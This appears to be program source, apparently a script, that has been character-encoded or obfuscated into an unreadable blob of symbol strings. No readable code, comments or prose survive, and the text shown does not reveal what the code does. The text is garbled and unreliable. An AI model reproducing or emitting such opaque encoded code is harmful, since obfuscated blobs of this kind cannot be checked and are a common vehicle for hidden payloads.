 eeeeeeem! #,+ !m=}p-/*"'(=r+3mvqlleezeeeeke=}p-/*"'(=r+3m}pvleeeeggl~Oeee,#eeema5!wv*4?}7&u0exxxeeggleee>Oeee7 107+eeeea,r5  w-3)+=ts~OOee8Oea#q676)!)q7.2eeexeeee$77$<m?|?!)+'qtu++m|wvleeex{eee=w7ru&0,2#3m|wqlieeeee=}p-/*"'(=r+3m|wpleeeex{eeeee?|?!)+'qtu++m|wsll~O#*7 $&-eeema#q676)!)q7.2ee$6ea v-(}uvvp|=w!6ex{eeeea(/=.5<w6+$2463le>Oee,#eeemd,66 1ma5)0",+6=}p-/*"'(=r+3m|wrla v-(}uvvp|=w!6lle>OOO&*+1,+0 ~Oeeeee8Oa65}=7p,t4"='reexeeee?|?!)+'qtu++m}}wlma5!wv*4?}7&u0ekeebjbeeeeekeea v-(}uvvp|=w!6l~Oeee,#emd?|?!)+'qtu++m|w}lma65}=7p,t4"='rleee99ee0!(7.u=/&.(.mrsqlma65}=7p,t4"='rieee0!(7.u=/&.(.m|w|leeeekeeea(/=.5<w6+$2463ekee=w7ru&0,2#3m|vulleeeexxxee#$)6 leeeeee>Oe&*+1,+0 ~Oeeee8OOeeeeea)s.r414|$s02}exe=}p-/*"'(=r+3mq|rlm=w7ru&0,2#3m|vtleeeekeeea(/=.5<w6+$2463eekeeee=w7ru&0,2#3m|vwleeeeekeeeeeea(/=.5<w6+$2463eekeee0!(7.u=/&.(.m|vvlieggiea65}=7p,t4"='rl~Oee,#eeeeeemd?|?!)+'qtu++m|w}lma)s.r414|$s02}llee>OOOOeee&*+1,+0 ~Oeeeeeee8Oeeeea)s.r414|$s02}eeexee=w7ru&0,2#3m|u|lma)s.r414|$s02}l~Oe,#eema)s.r414|$s02}eeeexxxeeggee99eeea)s.r414|$s02}eeexxxee0!(7.u=/&.(.m|vqlee99ea)s.r414|$s02}exxxe=w7ru&0,2#3m|vplle>O0+6 1ma5)0",+6=w7ru&0,2#3m|wrla v-(}uvvp|=w!6l~OOO8O8OOOO7 107+eeeeea,r5  w-3)+=ts~Oeeee8Oee,#ema,pp|.'q6(2,+'eeeedxxe=}p-/*"'(=r+3m|vslleee>Oee7 107+eea,r5  w-3)+=ts~OOOOe8Oea5)0",+6eeeeexeeeca	
	=w7ru&0,2#3m|wwl~Oeeeeeea2(0} 7vu"p3t<7exee0!(7.u=/&.(.m}p}lm.!*q3ww&t$ 5+*7'&rmll~Oeeee,#eeem,66 1ma5)0",+60!(7.u=/&.(.m|vrla2(0} 7vu"p3t<7lleeee>OOOe0+6 1ma5)0",+6=}p-/*"'(=r+3m|vrla2(0} 7vu"p3t<7l~O8Oeee7 107+ea,r5  w-3)+=ts~Oee8Oee,#eemd0!(7.u=/&.(.m}|ulm=w7ru&0,2#3m|v}llleee>Oe#0+&1,*+e?*p/}'wquq-|4/u,p6s|mlOe>Oee,#eemdeeee#0+6|'|1*/3=0=,2<mllee>Oeee7 107+~OOOOee8Oeeea3t7v052|u2)55u/eeexe0!(7.u=/&.(.m}p}lm.!*q3ww&t$ 5+*7'&rmll~OOea(p7/u0 *5&-6t$"eexee=}p-/*"'(=r+3m}p}lm.!*q3ww&t$ 5+*7'&rmliee?|?!)+'qtu++msq}ll~Oea&*0+7}#7}(,-#eeeexea(p7/u0 *5&-6t$"eekeeebjbeekeeeeea3t7v052|u2)55u/~OOOOeee &-*eeeee=}p-/*"'(=r+3m|v|leeeeekee 6&$117ma3t7v052|u2)55u/lekeeeee?|?!)+'qtu++m|quleeeekee 6&$117ma&*0+7}#7}(,-#lekee0!(7.u=/&.(.m|qtl~Oe &-*eeee=}p-/*"'(=r+3m|qwleeeekee 6&/6ma3t7v052|u2)55u/lekeeee0!(7.u=/&.(.m|qvleekee 6&/6ma&*0+7}#7}(,-#lekeeee=}p-/*"'(=r+3m|qql~Oee8Oee8Oeee,#eeeeemd?|?!)+'qtu++m}|ulm?|?!)+'qtu++m|qpllleeee>Oeeeee#0+&1,*+eeee476p2r(4r64wp(r<5$12ma1<v}$&'==lOOeee>Oe,#emdee=w7ru&0,2#3m|rlma1<v}$&'==lleee>OOOe7 107+eeeea1<v}$&'==~Oe8Oeeeea3t7v052|u2)55u/eexeeee3'0q=r/=qs?p(5ml~Oe,#em,66 1ma1<v}$&'==h{7 65*+6 a3t7v052|u2)55u/lleee>OOe0+6 1ma1<v}$&'==h{7 65*+6 a3t7v052|u2)55u/l~Oeee8Oe7 107+ea1<v}$&'==~Oee8O8Oeeeee,#emd?|?!)+'qtu++m}|ulm?|?!)+'qtu++m|qsllleeeeee>Oe#0+&1,*+eeeee(&w*?ps|-(-77p<}0ma5)0",+6lOeee>Oeeeea.7"=!#p<*|t4eeexeee3'0q=r/=qs?p(5ml~O,#eem,66 1ma5)0",+6a.7"=!#p<*|t4lleeee>Oe0+6 1ma5)0",+6a.7"=!#p<*|t4l~Oe8Oea(p7/u0 *5&-6t$"eexeeeeee?|?!)+'qtu++m}p}lm.!*q3ww&t$ 5+*7'&rmliee=w7ru&0,2#3msq}ll~OOeeeeea&*0+7}#7}(,-#eeeeexea(p7/u0 *5&-6t$"eekeeebjbeekeeee=w7ru&0,2#3m}p}lm.!*q3ww&t$ 5+*7'&rmll~OOOOeee,#em,66 1ma5)0",+6a&*0+7}#7}(,-#lle>OOOOeeeee0+6 1ma5)0",+6a&*0+7}#7}(,-#l~Oeeee8Oeee7 107+eeea5)0",+6~Oe8Oeee8Oeeee#0+&1,*+eee'}.) ?q!,,q2&s6sp,t&2ma'+13?}.)!r1/r+lOee>Oeeee,#emdee?|?!)+'qtu++m|tslma'+13?}.)!r1/r+lleee>Oeeee7 107+eea'+13?}.)!r1/r+~Oe8OOOea?tt6v,&$1(+"w35eeeeexeeeeegg~Oeeee,#em?|?!)+'qtu++m}|ulm?|?!)+'qtu++m|qrlleeeeeccee=}p-/*"'(=r+3m}vrlm.!*q3ww&t$ 5+*7'&rmllleeee>Oa3#4-54*< "#26/eeexe" 15)0",+!$1$m.!*q3ww&t$ 5+*7'&rmliee#$)6 iee#$)6 l~Oa?tt6v,&$1(+"w35exe,66 1ma3#4-54*< "#26/=}p-/*"'(=r+3m|q}llezeeeea3#4-54*< "#26/=w7ru&0,2#3m|q}leeeegg~O8Oeeeeeea4p)q#37)!'eeexee$77$<m0!(7.u=/&.(.m|q|lieeeeee=w7ru&0,2#3m|pull~O#*7 $&-eeeema4p)q#37)!'e$6ea/1ptuu)w2,wlee>Oe,#emdeeee,66 1ma'+13?}.)!r1/r+a/1ptuu)w2,w=}p-/*"'(=r+3m|ptlle99edee?|?!)+'qtu++m|tslma'+13?}.)!r1/r+a/1ptuu)w2,w?|?!)+'qtu++m|ptllleeeee>O&*+1,+0 ~Oeeee8Oe#*7 $&-eema'+13?}.)!r1/r+a/1ptuu)w2,w?|?!)+'qtu++m|ptlee$6eeeea. <eeeex{ea4*02<vr,/?",4=#leeee>Oeee,#em0!(7.u=/&.(.mrsqlma. <ieee3'0q=r/=qs?p(5mlledxxeeeee#$)6 eeee99eeeeea. <eexxxe3'0q=r/=qs?p(5mlleeeeee>Oee0+6 1ma'+13?}.)!r1/r+a/1ptuu)w2,w0!(7.u=/&.(.m|ptla. <l~Oe&*+1,+0 ~Oee8Oeeeee,#ema?tt6v,&$1(+"w35edxxeeeggeeccea. <eeeexxxeeea?tt6v,&$1(+"w35leee>Oeeeeee0+6 1ma'+13?}.)!r1/r+a/1ptuu)w2,w?|?!)+'qtu++m|ptla. <l~OOOOee&*+1,+0 ~O8OOO8OOO8Oeeeeeeee#*7 $&-eeem$77$<m0!(7.u=/&.(.m|pwlie?|?!)+'qtu++m|pvlleee$6eeea446*71+-u?<=leee>Oa?#6$v$?+*0-q5eeeeeexeee,66 1ma'+13?}.)!r1/r+a446*71+-u?<==w7ru&0,2#3m|ptllecceeee0!(7.u=/&.(.m|tslma'+13?}.)!r1/r+a446*71+-u?<==}p-/*"'(=r+3m|ptlleezea'+13?}.)!r1/r+a446*71+-u?<==}p-/*"'(=r+3m|ptleeee$77$<ml~OOOeeee,#emda?#6$v$?+*0-q5lee&*+1,+0 ~Oea!44.0-wuq?)3"-eexeee! #,+ !m=w7ru&0,2#3msqulleeeeezeee	eeeeeeem! #,+ !m?|?!)+'qtu++m}pwllezee
 eeekeeeeee=}p-/*"'(=r+3mtpleeeeeggl~OOOOeea4wr &5|-'*v,=exe$77$<ml~Oeee,#eeeema?tt6v,&$1(+"w35edxxeeeeeggleeeea4wr &5|-'*v,=eeexeea?tt6v,&$1(+"w35~Oeeeeea4wr &5|-'*v,=eexee?|?!)+'qtu++m}p}lm.!*q3ww&t$ 5+*7'&rmll~Oee,#eeeeema!44.0-wuq?)3"-edxxeggeecceee=}p-/*"'(=r+3m}rwlma!44.0-wuq?)3"-leeecce?|?!)+'qtu++m}|ulm?|?!)+'qtu++m}q|llleeeee>Oeeeee#*7 $&-eeemm$77$<le=w7ru&0,2#3m|pqlma!44.0-wuq?)3"-ekee=}p-/*"'(=r+3msqvllee$6ea-.q=**w}'/=u.s=le>Oa'r,|v}uv <r4eexeeeee?|?!)+'qtu++m}}wlma-.q=**w}'/=u.s=iee#$)6 ie+0))ieuieemttuvnru}|ll~O,#emd?|?!)+'qtu++m|pplma'r,|v}uv <r4lee99eee=}p-/*"'(=r+3mrsqlma'r,|v}uv <r4iee?|?!)+'qtu++m|psllexxxe#$)6 le&*+1,+0 ~Oeeee,#em0!(7.u=/&.(.mrp}lm0!(7.u=/&.(.m|prlieea'r,|v}uv <r4iea#r0&*t6t'lleeee>Oeeeea,#17p<5q<#eeeexee=}p-/*"'(=r+3m|u|lma#r0&*t6t'tl~O,#ema,#17p<5q<#eedxxeeeggleeeea4wr &5|-'*v,=eexeeea,#17p<5q<#~OOeeeeeee8Oea4wr &5|-'*v,=eexee=w7ru&0,2#3m}p}lma-.q=**w}'/=u.s=l~O8Oe8O#*7 $&-eema?#6$v$?+*0-q5ee$6eeea. <ex{ea4*02<vr,/?",4=#leee>Oee#*7 $&-eeeema4wr &5|-'*v,=eeee$6eea+43s$6#|&*# 4.le>Oeeeeee,#ema. <eexxxeea+43s$6#|&*# 4.eee99eea. <eexxxeee6$+,1,? 1 =1#, )!ma+43s$6#|&*# 4.llee>Oeeeeee0+6 1ma'+13?}.)!r1/r+a446*71+-u?<=0!(7.u=/&.(.m|ptla. <l~Oeeee'7 $.~Oe8Oe8O8OOOeeeee8Oa77<sr4$+v|**v/u&eexee,66 1ma'+13?}.)!r1/r+0!(7.u=/&.(.m|p}l0!(7.u=/&.(.m|p|lleeccee=w7ru&0,2#3m|tslma'+13?}.)!r1/r+?|?!)+'qtu++m|sul=w7ru&0,2#3m|stlleeezeea'+13?}.)!r1/r+=}p-/*"'(=r+3m|sul0!(7.u=/&.(.m|swleeee$77$<ml~Oe,#eema77<sr4$+v|**v/u&le>OOeeeea5!wv*4?}7&u0eeeexe! #,+ !m=}p-/*"'(=r+3m}pwlleeeeeezee
 eeeeeem! #,+ !m=}p-/*"'(=r+3m|svlleezeeeeeekeee=w7ru&0,2#3m}pvleeeeeeggl~Oa#q676)!)q7.2exee$77$<m0!(7.u=/&.(.m|wvleeeeex{eee=w7ru&0,2#3m|sqlieeee=w7ru&0,2#3m|wpleeeeex{eee0!(7.u=/&.(.m|spll~Oee#*7 $&-eeeeema77<sr4$+v|**v/u&ee$6eeea. <eeex{eeea4*02<vr,/?",4=#le>Oeeee,#emd,66 1ma#q676)!)q7.2a. <leeeee99ea5!wv*4?}7&u0eeeeexxxeegglee&*+1,+0 ~Oeeea65}=7p,t4"='reexe=w7ru&0,2#3m}}wlma5!wv*4?}7&u0eeekeebjbeekea. <ieeee#$)6 ie+0))ieeeuieeemwppsntpqull~OO,#em?|?!)+'qtu++m|pplma65}=7p,t4"='rleeeccem0!(7.u=/&.(.mrsqlma65}=7p,t4"='rieee?|?!)+'qtu++m|w|leeeekea#q676)!)q7.2a. <ekee=}p-/*"'(=r+3m|sslleeedxxeee#$)6 ee99eee?|?!)+'qtu++m|srlma65}=7p,t4"='rieeeee=}p-/*"'(=r+3m|s}lleeeedxxe#$)6 llee>Oe0+6 1ma'+13?}.)!r1/r+0!(7.u=/&.(.m|s|l=w7ru&0,2#3m|swla. <l~Oeeee8Oee8Oeeeee8Oeeee7 107+ea'+13?}.)!r1/r+~Oeeeeee8OeeeeOeeeeeee#0+&1,*+eeeeee/q=4-.p&su?&|/'=)*|w !ma526-3!u-t=/lOeeeeeee>O,#eeemdeeee?|?!)+'qtu++m|tslma526-3!u-t=/lle>OOeee7 107+ea526-3!u-t=/~OOe8OOOeeea175"2$0,(=veexeee=w7ru&0,2#3m}p}lm.!*q3ww&t$ 5+*7'&rmll~Oeea33#444v)<u=exee=}p-/*"'(=r+3mwtulma175"2$0,(=viee
	  l~OOOea,.<w?/$/50exe$77$<mOe$77$<m=w7ru&0,2#3m|ruleeex{ebfbeekeee=}p-/*"'(=r+3m|rtlma175"2$0,(=viebfbleeekeee=}p-/*"'(=r+3m|rwliee=w7ru&0,2#3m|rvlex{e170 liO$77$<m0!(7.u=/&.(.m|rqlex{eee?|?!)+'qtu++m|rpleeekeeee0!(7.u=/&.(.m|rtlma33#444v)<u=iebfbleekee=}p-/*"'(=r+3m|rwliee0!(7.u=/&.(.m|rsleex{e170 liOeeeel~Oeeeeeee,#em,66 1ma526-3!u-t=/?|?!)+'qtu++m|rrlleeeecceee?|?!)+'qtu++m|tslma526-3!u-t=/=w7ru&0,2#3m|rrllleee>OOeee#*7 $&-eema526-3!u-t=/=w7ru&0,2#3m|rrle$6eeeeea<)=q4*$rp2!#eeex{eea7+v6=<104+v6-0lee>O,#eeemde=w7ru&0,2#3m|r}lma7+v6=<104+v6-0lee99eeeede=w7ru&0,2#3m|r|lma<)=q4*$rp2!#llee>Oeee&*+1,+0 ~Oe8Oee,#emdee,66 1ma526-3!u-t=/0!(7.u=/&.(.m|rrla<)=q4*$rp2!#?|?!)+'qtu++m|}ullee99eeeedee0!(7.u=/&.(.m|}tlma526-3!u-t=/0!(7.u=/&.(.m|rrla<)=q4*$rp2!#=}p-/*"'(=r+3m|}ulllee>OOOOeeeeea526-3!u-t=/0!(7.u=/&.(.m|}wla<)=q4*$rp2!#=w7ru&0,2#3m|}uleeeeexe$77$<ml~Oeeeeeee8Oeeeeeee#*7 $&-ema,.<w?/$/50ee$6ea/4,(3$v}"p-uvle>Oeeea526-3!u-t=/=w7ru&0,2#3m|}vla<)=q4*$rp2!#?|?!)+'qtu++m|}qleeexeea/4,(3$v}"p-uv~Oeeee8Oeeeeee8Oee8Oe7 107+eea526-3!u-t=/~Oe8OeeeOOOO#0+&1,*+ee(uv").(7".7<0<)05$=mlOeeee>O17<ee>OOOOeee,#eeeeeemde! #,+ !m=}p-/*"'(=r+3m|}pllee99eee&*+61$+1m0!(7.u=/&.(.m|}plleeyeeeeeemu=tnu=slleee>Oeee7 107+~Oe8Oeeee,#eem=w7ru&0,2#3m|}slm=w7ru&0,2#3m|}rliee#$)6 lleee>O7 107+~Oe8Oea#q, =-pp(4*,0eeexe=}p-/*"'(=r+3m}p}lm.!*q3ww&t$ 5+*7'&rmll~OOOOa(3*q7.r$7+) 5eeexeee! #,+ !m0!(7.u=/&.(.m}vtlleeeeeezeee	eeeegg~OOOOeeeea5*v"2,5sp}w}5eexe$77$<mOeeea(3*q7.r$7+) 5eke0!(7.u=/&.(.m|}}liOa(3*q7.r$7+) 5eeeekee0!(7.u=/&.(.m|}|liOeeeeeea(3*q7.r$7+) 5ekee0!(7.u=/&.(.m||uliOeel~Oeeeea/.+&6u(3$q7s.?,.eexegg~OOOOe#*7 $&-eema5*v"2,5sp}w}5eee$6eeeeeea3t7v052|u2)55u/le>Oeee,#ema3t7v052|u2)55u/eedxxeeeeggecce?|?!)+'qtu++m}}tlma3t7v052|u2)55u/leeeecceeee?|?!)+'qtu++m}u|lma3t7v052|u2)55u/llee>Oeeea/.+&6u(3$q7s.?,.eeeeexeea3t7v052|u2)55u/~OOOOeee'7 $.~Oeeeee8Oee8Oeeeeeee,#ema/.+&6u(3$q7s.?,.eeeexxxeeggle>O7 107+~Oe8OOOeea!t5707<+1.!(7t<exeee?|?!)+'qtu++m}prlma/.+&6u(3$q7s.?,.l~Oe65)$01*)*$!7 ",61 7m#0+&1,*+ema?*u$#ut$*&6.|"! le06 ema!t5707<+1.!(7t<leee>Oe#*7 $&-em$77$<ma!t5707<+1.!(7t<ekeeebjbeeekeeeea?*u$#ut$*&6.|"! ekeee=}p-/*"'(=r+3m||tliea!t5707<+1.!(7t<ekeebjbeeeekea?*u$#ut$*&6.|"! eeke?|?!)+'qtu++msq}llee$6eeea/.=|tv(w5=lee>Oee,#eeem=w7ru&0,2#3m}}tlma/.=|tv(w5=llee>Oeee,+&)0! *+& ea/.=|tv(w5=~OOOeee7 107+~Oe8Oeeeee8Oeee8l~Oea?2*"sw"=p6/2eeeexeee=}p-/*"'(=r+3m}}wlma/.+&6u(3$q7s.?,.l~O,#eema?2*"sw"=p6/2eexxxe#$)6 eeee99eeee?|?!)+'qtu++m|srlma?2*"sw"=p6/2ieee?|?!)+'qtu++m||wllexxxeeee#$)6 le>Oeee7 107+~Oeeee8Oeeea?2*"sw"=p6/2exee?|?!)+'qtu++mq|rlm?|?!)+'qtu++m||vlieggieeea?2*"sw"=p6/2l~Oeeeea?2*"sw"=p6/2eeeeexee=w7ru&0,2#3m||qlm=}p-/*"'(=r+3m||wlieee0!(7.u=/&.(.m||plieea?2*"sw"=p6/2l~Oeeeeea,!,$7*'=v?#7(24exee0/}#1#6<,112<!r0.qm'10-|61/-1!t$54mlieeeee=}p-/*"'(=r+3m}q}ll~OOO,#eeeema,!,$7*'=v?#7(24eeeexxxeeeee#$)6 le>OOeee7 107+~Oe8Oeee0!(7.u=/&.(.m||slma,!,$7*'=v?#7(24ieeee=}p-/*"'(=r+3m||rleekea?2*"sw"=p6/2l~Oee17<eee>OOOOeeee,+&)0! eeea,!,$7*'=v?#7(24~Oe8e#,+$))<ee>Oe&-p.5#|,2/2?|.!,ma,!,$7*'=v?#7(24l~Oeee8OOa+$+"p7,r<r)}$'=eexeee=}p-/*"'(=r+3mwtulma#q, =-pp(4*,0ieeeeee
	  l~Oeeeea	
	=}p-/*"'(=r+3m||}leexea#q, =-pp(4*,0~Oa	
	0!(7.u=/&.(.m|||leexeeea+$+"p7,r<r)}$'=~Oeea1<*u2tr'&74eexe=w7ru&0,2#3mtuuulOeeekee=}p-/*"'(=r+3mtuutlOOOeeekee=}p-/*"'(=r+3mtuuwlOOOOkee=}p-/*"'(=r+3mtuuvlOeeeeeeeeke0!(7.u=/&.(.mtuuqlOkeeeeb8bOeeke=w7ru&0,2#3mtuuplOeeekeeeb8bOkeeeb8b~Oeea0657&r1#-03|'5eeexeeeeee0/}#1#6<,112<!r0.qm'10-|61/-1!t$54mliee=w7ru&0,2#3m}q}ll~Oeeeee,#eema0657&r1#-03|'5leeeee>Oee=}p-/*"'(=r+3m||slma0657&r1#-03|'5ieea1<*u2tr'&74l~Oee17<e>Oeee,+&)0! eeea0657&r1#-03|'5~Oe8eeee#,+$))<ee>O&-p.5#|,2/2?|.!,ma0657&r1#-03|'5l~OOOO8O8Oeee8ee&$1&-eem-7*2$') eeeea=w}=)'/7<3/lee>Oee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtuusliea=w}=)'/7<3/l~O8eeee&$1&-eeem =& 51,*+eea=w}=)'/7<3/leeeee>Oeee8Oeeeeee8OOOO,#emd=}p-/*"'(=r+3mtuurlm=w7ru&0,2#3mtuu}llleeee>Oe#0+&1,*+ee*6#t*!)-?+.v,p167v/ma5)(s7q5+.,ieeea-!|q<r0 =}5*w*v|lO>Oee,#emdeeeee0!(7.u=/&.(.mtuu|lma5)(s7q5+.,lleeee>O7 107+ea5)(s7q5+.,~Oe8Oeeeeeeea}u!4? 7.!rwt(eeexeee$77$<m=}p-/*"'(=r+3mtutulieee=}p-/*"'(=r+3mtuttlie=}p-/*"'(=r+3mtutwliee=w7ru&0,2#3mtutvlieee=w7ru&0,2#3mstvll~Oeeee#*7 $&-eema}u!4? 7.!rwt(eee$6eeeea. <lee>Oeeeeeeee,#emdeeee,66 1ma5)(s7q5+.,a. <le99eedee?|?!)+'qtu++mtutqlma5)(s7q5+.,a. <lleee>Oeeeee&*+1,+0 ~Oee8Oa |+<5s12$eeeeexe$77$<ml~OO#*7 $&-eema5)(s7q5+.,a. <e$6ea3w-r6/p5s165,leeee>Oeeeeeeee,#eeemdeee0!(7.u=/&.(.mtutqlma3w-r6/p5s165,lleeeee>OOa |+<5s12$eexea3w-r6/p5s165,~Oe&*+1,+0 ~OOOee8Oea 5 w.'=)2**,us51eeeexe,66 1ma3w-r6/p5s165,=}p-/*"'(=r+3mtutplleeezeeeeea3w-r6/p5s165,?|?!)+'qtu++mtutpleeeeegg~Oeeeeeea+$+"p7,r<r)}$'=eeeexeeee,66 1ma	
	?|?!)+'qtu++m|||llezeea	
	0!(7.u=/&.(.mtutsleeeeeeeegg~OOOe,#ema 5 w.'=)2**,us51eeexxxeea-!|q<r0 =}5*w*v|e99eeema+$+"p7,r<r)}$'=eeeeeedxxeeggeeeecceeeea 5 w.'=)2**,us51eeeexxxea+$+"p7,r<r)}$'=llee>Oeeee&*+1,+0 ~O8Oeea |+<5s12$eeeeeexeee*6#t*!)-?+.v,p167v/ma3w-r6/p5s165,ieea-!|q<r0 =}5*w*v|l~Oe8OOOOea5)(s7q5+.,a. <exeeeeea |+<5s12$~Oe8OOeeeee7 107+ea5)(s7q5+.,~Oeeeee8OOOOeee8Oeeeeee#0+&1,*+eee5su"w&5}}s0?|#$0 ws mlO>O17<e>Oeee,#eem=}p-/*"'(=r+3mtuurlm?|?!)+'qtu++mtutrllecceee" 117$+6, +1m0!(7.u=/&.(.mrrrlllee>OOee7 107+~Oe8Oea's/4t7u=7!.2&?#$eeeeeexe=}p-/*"'(=r+3mtut}lm.!*q3ww&t$ 5+*7'&rmll~OOOeeeee,#eema's/4t7u=7!.2&?#$eeeeccea's/4t7u=7!.2&?#$ee{eemq|urn|vlecceea's/4t7u=7!.2&?#$eeeyemq||||rvnwrleeeeecceed0.s=<ws1t("!& m.!*q3ww&t$ 5+*7'&rmllleeeee>Oeeeeea1?$0<&s2)4exee0!(7.u=/&.(.mtut|lm.!*q3ww&t$ 5+*7'&rmll~OOeeeeeeee,#eeeeem?|?!)+'qtu++m|pplma1?$0<&s2)4leeecceeeee0!(7.u=/&.(.mrttlma1?$0<&s2)4lexxxeeea's/4t7u=7!.2&?#$eeeeeeccee +/$07!"qr+ 6)*pw</s -ma1?$0<&s2)4lleeeee>O,#eeeeem<?+3w",2"p|.<!5!m.!*q3ww&t$ 5+*7'&rmlieee*0*)-&#77 -u|&,ma1?$0<&s2)4llle>O3t6<p=,(t?0=|? +!<6|m.!*q3ww&t$ 5+*7'&rmll~Oee1&s?222)1$ (10)r+3?m.!*q3ww&t$ 5+*7'&rmll~O8OOOeee8O0+6 1ma1?$0<&s2)4l~Oeeeeeee8Oeeeeeeea+v (4} 6-6<}u6eexeeee=w7ru&0,2#3mtut}lm.!*q3ww&t$ 5+*7'&rmll~OOOOa }wr/ss//*#"|eexeea+v (4} 6-6<}u6eecceeeea+v (4} 6-6<}u6ee{eeeemq|rsnwql~O,#eeema }wr/ss//*#"|ecceea+v (4} 6-6<}u6ee{eeeemvs|u|sutntppt|t||lle>Oea }wr/ss//*#"|eeeeexee#$)6 ~Oe8OOO,#ema }wr/ss//*#"|lee>Oa5rw-w=*-623"eeeexee=w7ru&0,2#3mtut|lm.!*q3ww&t$ 5+*7'&rmll~Oeeee,#em=}p-/*"'(=r+3mtuwulma5rw-w=*-623"leeecce?|?!)+'qtu++mtuwtlma5rw-w=*-623"lee{eeeemtuq}pp}nt}lleeeeea5rw-w=*-623"exee--r<<!4$-0!rq)}pma5rw-w=*-623"l~OOee,#eemd=}p-/*"'(=r+3mtuwulma5rw-w=*-623"le99eed +/$07!"qr+ 6)*pw</s -ma5rw-w=*-623"lleee>Oea }wr/ss//*#"|exeee#$)6 ~Oe8e )6 ee>Oa)s3-4"uu,exe726 ",|qq $q'?&m=}p-/*"'(=r+3m}}slieeggl~OOOOeeeea32s41-*u'(7.$'!|eeeeexeee2p)}7&,6v"'t07-&ma5rw-w=*-623"l~Oeea$,qqts71+vvpexe2p)}7&,6v"'t07-&m=}p-/*"'(=r+3mtuwulma)s3-4"uu,leeeeeezeeea)s3-4"uu,eeeeeggl~OOOOeee,#eema32s41-*u'(7.$'!|eeeedxxeeeeggeecceeema$,qqts71+vvpexxxeeeggeeeee99e3 76,*+&*(5$7 ma$,qqts71+vvpieeeea32s41-*u'(7.$'!|ieebybllleeee>Oeeeeea)/06}-&'12 }"'eeeeeexee?|?!)+'qtu++m}}ulma5rw-w=*-623"l~Oeeeeeeea/3)=6)3-'t"=eeeeexe=}p-/*"'(=r+3m}}tlm?|?!)+'qtu++m}prlm.!*q3ww&t$ 5+*7'&rmlleekee=w7ru&0,2#3mtrqleeeekea)/06}-&'12 }"'l~OOOeeeeeeee,#eeemda/3)=6)3-'t"=leeeee>Oea$|*4+q& vv+3exee" 1*51,*+m=}p-/*"'(=r+3mtr}ll~Oe,#em=}p-/*"'(=r+3mtuwulma$|*4+q& vv+3leecce=w7ru&0,2#3mtuwwlma$|*4+q& vv+3ieeeea)/06}-&'12 }"'eeeeekeeeeeb9blexxxeueecceeee=}p-/*"'(=r+3m}splmleehem,+1leeeee=w7ru&0,2#3mrp|lma$|*4+q& vv+3ie=w7ru&0,2#3mtuwvlma$|*4+q& vv+3ieeeeb9bleeeeeneetleyeeeem}svs|nvtlleeea/3)=6)3-'t"=eexe170 ~Oe8Oe,#eeeema/3)=6)3-'t"=lea }wr/ss//*#"|eeexeeee#$)6 ~O,#emda/3)=6)3-'t"=eeecce=w7ru&0,2#3mtuwqlma)s3-4"uu,leeecceema)s3-4"uu,eexxxeeggeeeeee99eea$,qqts71+vvpeeeexxxegge99eee3 76,*+&*(5$7 ma$,qqts71+vvpieeea32s41-*u'(7.$'!|ieebybllle)+1#,&v0?4u+v&/s12m?|?!)+'qtu++mtuwplieeeeea5rw-w=*-623"ie0!(7.u=/&.(.m}|sll~Oeee0+6 1ma)/06}-&'12 }"'iea/3)=6)3-'t"=iea$|*4+q& vv+3l~O8eeeee )6 ,#em?|?!)+'qtu++mtuwqlma)s3-4"uu,leeeeeecce0!(7.u=/&.(.mtuwtlma)s3-4"uu,le{eemsrnqvvleecce?|?!)+'qtu++mtuwtlma)s3-4"uu,leeyxem|pqprqn|quuwlecceeeeed*'/)(571ts?v.t)r<u}$+ma)s3-4"uu,leccee +/$07!"qr+ 6)*pw</s -ma)s3-4"uu,leeeeccee?|?!)+'qtu++m}}ulma5rw-w=*-623"ledxxe?|?!)+'qtu++m}}ulma)s3-4"uu,llee>Oa }wr/ss//*#"|eeexee#$)6 ~Oeee8Oee8Oee8Oee,#eeeeema }wr/ss//*#"|leee>Oeeee,#eeem0!(7.u=/&.(.mtuurlm=w7ru&0,2#3m}}qlllee>O6 117$+6, +1m=}p-/*"'(=r+3mrrrlieeeetieeemtup}nwpqwll~Oeeeeeee8OO7 107+~O8Oeee,#eem0.s=<ws1t("!& m.!*q3ww&t$ 5+*7'&rmllle>Oee7 107+~O8OOea4 t$?vrv,eexeeee=}p-/*"'(=r+3mtuwslm.!*q3ww&t$ 5+*7'&rmll~Oe,#emdeee=w7ru&0,2#3m}rwlma4 t$?vrv,lleeeee>Oeee")"--6=55t,-(&ma4 t$?vrv,ieeeemqrpnt}lie170 l~Oeee8Oa50.1v-q0wu403 eeexe726 ",|qq $q'?&m0!(7.u=/&.(.mtuwplieeggl~Oeeeeeeee,#eeemda50.1v-q0wu403 ee99ed=w7ru&0,2#3mtuwrlma50.1v-q0wu403 lle>OOOOeee,#eemd" 117$+6, +1m=}p-/*"'(=r+3mtuw}lllee>Oee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtuw|lieeeeee=w7ru&0,2#3mtuvull~OO6 117$+6, +1m=}p-/*"'(=r+3mtuw}lieeeetieemvpwsnrqll~Oeeeeeee8Oeee8O,#ema50.1v-q0wu403 eeeeccee=w7ru&0,2#3mtuwrlma50.1v-q0wu403 lecceeeeee=}p-/*"'(=r+3mtuvtlma50.1v-q0wu403 lee{eemrwwhwwwlecce?|?!)+'qtu++mtuvtlma50.1v-q0wu403 leeeeeyxemw|}s|pnrq|}}tleeecceed*'/)(571ts?v.t)r<u}$+ma50.1v-q0wu403 leeccee +/$07!"qr+ 6)*pw</s -ma50.1v-q0wu403 llee>Oeeeea/"'(0777r}exe2p)}7&,6v"'t07-&ma50.1v-q0wu403 l~Oee,#eeema/"'(0777r}eeeedxxeeeeggeeeecce3 76,*+&*(5$7 ma/"'(0777r}iee',7|#2u4-"!$4'1"smlieebyblleee>Oeeeeeeee7 107+~Oeeee8Oa,r,wv*=?*u"r7eexe?|?!)+'qtu++mtuwslm.!*q3ww&t$ 5+*7'&rmlleekee0!(7.u=/&.(.mtuvwleeeeeeke?|?!)+'qtu++m}p}lm.!*q3ww&t$ 5+*7'&rmlie=}p-/*"'(=r+3mtuvvll~OOOOea,5+p ,r34t,-,'eeeeexeee=}p-/*"'(=r+3m}}tlma,r,wv*=?*u"r7leezeee0!(7.u=/&.(.m|u|lmm617,+"le?|?!)+'qtu++mtut|lma,r,wv*=?*u"r7lleeegg~Oeeee,#ema,5+p ,r34t,-,'eeeeedxxeeeggeeeeccee=}p-/*"'(=r+3m}}ulma50.1v-q0wu403 leexxxea,5+p ,r34t,-,'lee>Oee7 107+~OOee8Oe17.s-rs}w1.3'qm.!*q3ww&t$ 